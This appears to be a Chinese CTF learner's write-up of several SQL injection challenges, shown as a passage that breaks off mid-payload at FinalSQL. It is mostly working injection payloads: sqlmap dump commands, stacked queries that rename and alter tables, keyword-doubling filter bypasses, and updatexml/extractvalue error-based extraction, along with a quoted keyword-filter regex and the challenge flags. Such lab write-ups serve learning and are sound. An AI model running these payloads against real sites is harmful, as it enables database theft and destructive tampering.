type
status
date
slug
summary
tags
category
icon
password
😀
测试sqlmap
 

[极客大挑战 2019]LoveSQL

 
 
1.Payload:sqlmap.exe -r 1.txt -p username --dbs --batch
notion image
 
2.Payload:sqlmap.exe -r 1.txt -p username -D geek --tables --batch
notion image
 
3.Payload:sqlmap.exe -r 1.txt -p username -D geek -T l0ve1ysql --dump --batch
notion image
得出flag
 

[强网杯 2019]随便注

 
 
notion image
只要payload中包含select就会触发正则表达式:其中告诉我们过滤了preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
 
过滤了select后,只能使用堆叠注入了
notion image
 
接着判断tables表
payload:1';show tables;#
notion image
 
接着查询相关字段名
payload:1';show columns from words;#
notion image
 
没找到是没有用的;换另外一张表
1';show columns from `1919810931114514`;#
这里的表格前面固定了要是` ` 这种方式(尝试了’”都不行),没看懂为什么??
找到大佬的解析:
关于在这里使用 ` 而不是 ’ 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
单引号 ’ 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号。
这个真没了解过
 
1';show columns from `1919810931114514`;#
 
notion image
从中找到flag
 
 
payload:1';rename table words to words1;#
notion image
notion image
一个一个换好像是不行的,现在我不知道怎么更换回去了,只能重新导入靶机了
 
 
payload:1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE%20 words CHANGE flag data VARCHAR(100);#
这里为什么要增加id int(10),和增加data varchar(100)是因为之前的表中有这两个数据
notion image
 
payload:1’ or 1=1;#
notion image
 
查看之前1919810931114514 的已经改变了words
notion image
 
同时查看words,可以发现里面的内容也已更换
notion image
 

[极客大挑战 2019]BabySQL

 
尝试1’ 出现报错,说明有注入点
notion image
 
尝试万能密码
1' or '1'=1#
notion image
没得进也正常
接着老规律试试别的(流程先跑一遍,跑着跑着就会遇到故事了)
1' order by 1#
notion image
发现回显显示or被过滤了
想着在order中加入双写绕过,但好像不行(后面知道了,因为它是只需要oror的)搞错了
 
接着再1' union select 1,2,3#中也不行,再试试双写绕过成功了
接着使用1' uniunionon seselectlect 1,2,3#
notion image
告诉我们密码在字段3里
 
 
payload:1' uniunionon seselectlect 1,2,database()#
查到数据库:
notion image
 
接着进行拼接,发现过滤了很多语法:如where、 select、from这些等等
payload:1' ununionion selselectect 1,2,group_concat(table_name) from information_schema.tables wherwheree table_schema='geek'#
显示
notion image
 
噢噢,过滤了or,所以这里也算,里面多加个or就行了
notion image
 
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whewherere table_schema='geek' anandd table_name='b4bsql'#
notion image
 
1' ununionion selecselectt 1,2,concat_ws(',, ',username,passwoorrd) frofromm geek.b4bsql limit 1,1 #
notion image
 
接着枚举第8个表名拿到flag
1' ununionion selecselectt 1,2,concat_ws(',, ',username,passwoorrd) frofromm geek.b4bsql limit 7,1#
notion image
 
也可以直接枚举所有表名获取flag
1' ununionion selecselectt 1,2,group_concat(',',username,passwoorrd) ffromrom geek.b4bsql#
notion image
解得最后的flag
flag{38447e05-e88c-4c55-a2fd-360d0b505a4f}
 
 
阶段性总结: 后续查了资料发现:这里也可以有不同解法的,也可以去直接找寻别的数据库, 1' ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata# 找到ctf库名,然后进行库名查找到flag表

[极客大挑战 2019]HardSQL

老规矩:1’
notion image
发现回显了个’’,就说明数据库sql语句闭合需要两个单引号
 
然后看不懂了,看了大佬们的wp发现:
 
这个过滤了空格=union,有这些都会显示抓住你了,弟弟
通过报错函数进行注入:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
0x7e就是~的意思
notion image
 
接着就在报错函数里进行查看其他字段就好了,
1'or(extractvalue(1,concat('~',((select(schema_name)from(information_schema.schemata))))))#
notion image
返回超过一行,limit也不能用,不知道怎么让他一行一行返回
 
下面是根据大佬们的做法进行复现的
这个是获取数据库名的:
1'or(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata))),0x7e),1)#
 
notion image
 
后面的内容被截断了,想不出什么方法可以获取
 
 
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))),0x7e),1)# 或者下面一个都行的
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek'))),0x7e),1)#
notion image
 
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
notion image
得到:1flagflag{61acfc4f-5b8f-4eea-9d
 
注意:这里不是截断,只是限制了显示长度,没查完,跟前面数据库名的截断是不一样的,所以这里可以使用right函数去获取后面的部分
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
notion image
 
得到f-4eea-9da2-2c3acec7fc72},拼接上就可以得到完整的
flag:flag{61acfc4f-5b8f-4eea-9da2-2c3acec7fc72}
 

[GXYCTF2019]BabySQli

1’
notion image
试错后发现order=or()也不允许都被过滤了
使用大小写可以绕过,查出是三个字段
1' and union select 1,2,databases#
notion image
1'' and union select 1,2,databases#为什么还是不显示呢?
notion image
 
接着试了报错函数也不行
没辙了,这时候看看抓包,有时候前端没有显示的东西,可能抓包会给你一点思路
notion image
发现多了一串英文,感觉像是base64编码
里面嵌套了两层,外层是base32解码,还有base64解码
notion image
 
 
select * from user where username = '$name’
还是没get到他的点
 
没法子了,只能去看他给的源码了,还以为不看能写呢。
ai解析后发现要求我们进行两个点:
  • $arr[1] == "admin"
  • md5($password) == $arr[2]
 
接替思路:
先按照提示把admin放到第二位(正确了会显示wrong passwd的)所以是第二位
notion image
 
接着把admin去掉,第三位放成我们构造的password(都行的)的md5值
notion image
 
最后把两者合二为一,就可以获得flag了
notion image
 
这道题好难,这种方法没见过
 
 

[极客大挑战 2019]FinalSQL

notion image
发现过滤的有by、空格、union、
id=1'or(updatexml(1,concat('~',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